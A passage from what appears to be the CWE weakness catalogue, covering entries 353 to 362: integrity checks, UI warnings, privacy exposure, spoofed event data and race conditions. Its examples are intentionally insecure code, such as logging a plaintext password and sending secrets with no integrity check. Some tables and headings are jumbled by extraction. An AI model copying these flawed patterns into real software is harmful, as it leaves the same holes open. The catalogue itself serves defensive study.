PeerOf | 79 | Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") | 1000 | 131
MemberOf | V | 635 | Weaknesses Used by NVD | 635 | 985
MemberOf | V | 884 | CWE Cross-section | 884 | 1323

**Relationship Notes**
This can be resultant from XSS, although XSS is not necessarily required.

**Research Gaps**
This issue was under-reported in CVE until around 2008, when it began to gain prominence. It is likely to be present in most web applications.

**Theoretical Notes**
The CSRF topology is multi-channel:
1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
2. Intermediary (as user) to server (as victim). The activation point is an internal channel.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A5</td>
<td>Exact</td>
<td>Cross Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>WASC</td>
<td>Cross-site Request Forgery</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>62</td>
<td>Cross Site Request Forgery</td>
<td></td>
</tr>
<tr>
<td>111</td>
<td>JSON Hijacking (aka JavaScript Hijacking)</td>
<td></td>
</tr>
<tr>
<td>462</td>
<td>Cross-Domain Search Timing</td>
<td></td>
</tr>
<tr>
<td>467</td>
<td>Cross Site Identification</td>
<td></td>
</tr>
</tbody>
</table>

**References**


---

**CWE-353: Missing Support for Integrity Check**

**Weakness ID:** 353 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**
The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

**Extended Description**

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

<table>
<thead>
<tr>
<th>Integrity</th>
<th>Other</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data that is parsed and used may be corrupted.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Non-Repudiation</th>
<th>Other</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

In this example, a request packet is received, and privileged information is sent to the requester:

```java
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp = new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

**Potential Mitigations**

**Architecture and Design**

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

**Implementation**

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td></td>
</tr>
</tbody>
</table>
CWE-354: Improper Validation of Integrity Check Value

**Description**

**Summary**

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

**Extended Description**

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Integrity**

**Other**

**Modify application data**

**Other**

Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.

**Integrity**

**Other**

**Other**

Data that is parsed and used may be corrupted.

**References**

Non-Repudiation

Other

Hide activities

Other

Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: 

```c
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example:  

```java
while(true) {
    DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
    socket.send(sendPacket);
}
```

Potential Mitigations

Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>Greene</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>Bule</td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>Green</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>Green</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>Verte</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Failure to check integrity check value</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>75</td>
<td>Manipulating Writeable Configuration Files</td>
</tr>
<tr>
<td>463</td>
<td>Padding Oracle Crypto Attack</td>
</tr>
</tbody>
</table>

CWE-355: User Interface Security Issues

Category ID: 355 (Category)  Status: Draft

Description

Summary

Weaknesses in this category are related to or introduced in the User Interface (UI).
CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID: 356 (Weakness Base)  Status: Incomplete

Description

Summary
The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

Extended Description
Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Non-Repudiation
Hide activities

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0794</td>
<td>Product does not warn user when document contains certain dangerous functions or macros.</td>
</tr>
<tr>
<td>CVE-1999-1055</td>
<td>Product does not warn user when document contains certain dangerous functions or macros.</td>
</tr>
<tr>
<td>CVE-2000-0277</td>
<td>Product does not warn user when document contains certain dangerous functions or macros.</td>
</tr>
<tr>
<td>CVE-2000-0342</td>
<td>E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment.</td>
</tr>
<tr>
<td>CVE-2000-0517</td>
<td>Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant.</td>
</tr>
<tr>
<td>CVE-2005-0602</td>
<td>File extractor does not warn user it setuid/setgid files could be extracted. Overlaps privileges/permissions.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>221</td>
<td>Information Loss or Omission</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>355</td>
<td>User Interface Security Issues</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-357: Insufficient UI Warning of Dangerous Operations

**Description**

**Summary**

The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Non-Repudiation**

**Hide activities**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1099</td>
<td>User not sufficiently warned if host key mismatch occurs</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>996</td>
<td>SFP Secondary Cluster: Security</td>
<td>1396</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>996</td>
<td>SFP Secondary Cluster: Security</td>
<td>1396</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>450</td>
<td>Multiple Interpretations of UI Input</td>
<td>1396</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Insufficient UI warning of dangerous operations</td>
</tr>
</tbody>
</table>

CWE-358: Improperly Implemented Security Check for Standard

**Description**

**Summary**

The software does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All
**Modes of Introduction**
This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.

**Common Consequences**
Access Control
Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0862</td>
<td>Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.</td>
</tr>
<tr>
<td>CVE-2002-0970</td>
<td>Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.</td>
</tr>
<tr>
<td>CVE-2002-1407</td>
<td>Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.</td>
</tr>
<tr>
<td>CVE-2004-2163</td>
<td>Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.</td>
</tr>
<tr>
<td>CVE-2005-0198</td>
<td>Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).</td>
</tr>
<tr>
<td>CVE-2005-2181</td>
<td>Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.</td>
</tr>
<tr>
<td>CVE-2005-2182</td>
<td>Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.</td>
</tr>
<tr>
<td>CVE-2005-2298</td>
<td>Security check not applied to all components, allowing bypass.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>516</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>601</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>913</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>978</td>
<td>SFP Secondary Cluster: Implementation</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1387</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>571</td>
</tr>
</tbody>
</table>

**Relationship Notes**
This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
</tbody>
</table>

**CWE-359: Exposure of Private Information ('Privacy Violation')**

**Weakness ID:** 359 (Weakness Class)

**Status:** Incomplete

**Description**

**Summary**
The software does not properly prevent private data (such as credit card numbers) from being accessed by actors who either (1) are not explicitly authorized to access the data or (2) do not have the implicit consent of the people to which the data is related.

**Extended Description**
Mishandling private information, such as customer passwords or Social Security numbers, can compromise user privacy and is often illegal. An exposure of private information does not necessarily prevent the software from working properly, and in fact it might be intended by the
developer, but it can still be undesirable (or explicitly prohibited by law) for the people who are associated with this private information.

Privacy violations may occur when:
- Private user information enters the program.
- The data is written to an external location, such as the console, file system, or network.

Private data can enter a program in a variety of ways:
- Directly from the user in the form of a password or personal information
- Accessed from a database or other data store by the application
- Indirectly from a partner or other third party

Some types of private information include:
- Government identifiers, such as Social Security Numbers
- Contact information, such as home addresses and telephone numbers
- Geographic location - where the user is (or was)
- Employment history
- Financial data - such as credit card numbers, salary, bank accounts, and debts
- Pictures, video, or audio
- Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
- Relationships (and types of relationships) with others - family, friends, contacts, etc.
- Communications - e-mail addresses, private e-mail messages, SMS text messages, chat logs, etc.
- Health - medical conditions, insurance status, prescription records
- Credentials, such as passwords, which can be used to access other information.

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Depending on its location, the type of business it conducts, and the nature of any private data it handles, an organization may be required to comply with one or more of the following federal and state regulations: - Safe Harbor Privacy Framework [R.359.2] - Gramm-Leach Bliley Act (GLBA) [R.359.3] - Health Insurance Portability and Accountability Act (HIPAA) [R.359.4] - California SB-1386 [R.359.5].

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Alternate Terms
- Privacy leak
- Privacy leakage

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
- Languages
CWE-359: Exposure of Private Information ('Privacy Violation')

Architectural Paradigms

- Language-independent
- Mobile Application

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

Example 1:
In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [R.359.1]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

Example 2:
The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

C# Example:

```csharp
Bad Code
pass = getPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 3:
This code uses location to determine the user's current US State location.
First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

XML Example:

```xml
Bad Code
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Java Example:

```java
Bad Code
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>FIO13-J</td>
<td>Privacy Violation</td>
</tr>
</tbody>
</table>
CWE-360: Trust of System Event Data

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>464</td>
<td>Evercookie</td>
</tr>
<tr>
<td>467</td>
<td>Cross Site Identification</td>
</tr>
</tbody>
</table>

References


CWE-360: Trust of System Event Data

| Weakness ID: | 360 (Weakness Base) | Status: | Incomplete |

Description

Summary
Security based on event locations are insecure and can be spoofed.

Extended Description
Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
- Integrity
- Confidentiality
- Availability
- Access Control
- Gain privileges / assume identity
- Execute unauthorized code or commands
  - If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.

Likelihood of Exploit
- High

Demonstrative Examples
This example code prints out secret information when an authorized user activates a button:

Java Example:

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
        System.out.println("print out secret information");
    }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

**Potential Mitigations**

**Architecture and Design**

Never trust or rely any of the information in an Event for security.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1376</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>422</td>
<td>Unprotected Windows Messaging Channel ('Shatter')</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>727</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Trust of system event data</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

**CWE-361: Time and State**

**Category ID: 361 (Category)**

**Status: Incomplete**

**Description**

**Summary**

Weaknesses in this category are related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads.

**Extended Description**

Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer’s model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>18</td>
<td>Source Code</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>636</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>643</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>371</td>
<td>State Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>376</td>
<td>Temporary File Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>656</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>700</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>380</td>
<td>Technology-Specific Time and State Issues</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
<td>700</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
<td>700</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>384</td>
<td>Session Fixation</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>385</td>
<td>Covert Timing Channel</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>387</td>
<td>Signal Errors</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>557</td>
<td>Concurrency Issues</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>609</td>
<td>Double-Checked Locking</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>662</td>
<td>Improper Synchronization</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>700</td>
<td>Seven Pernicious Kingdoms</td>
<td>700</td>
<td></td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Time and State</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>61</td>
<td>Session Fixation</td>
</tr>
<tr>
<td>196</td>
<td>Session Credential Falsification through Forging</td>
</tr>
</tbody>
</table>

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362 (Weakness Class) Status: Draft

Description

Summary

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.
A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

- **Exclusivity** - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
- **Atomicity** - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C (*Sometimes*)
- C++ (*Sometimes*)
- Java (*Sometimes*)
- Language-independent

**Architectural Paradigms**
- Concurrent Systems Operating on Shared Resources (*Often*)

**Common Consequences**

**Availability**
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)
- DoS: resource consumption (other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

**Availability**
- DoS: crash / exit / restart
- DoS: instability

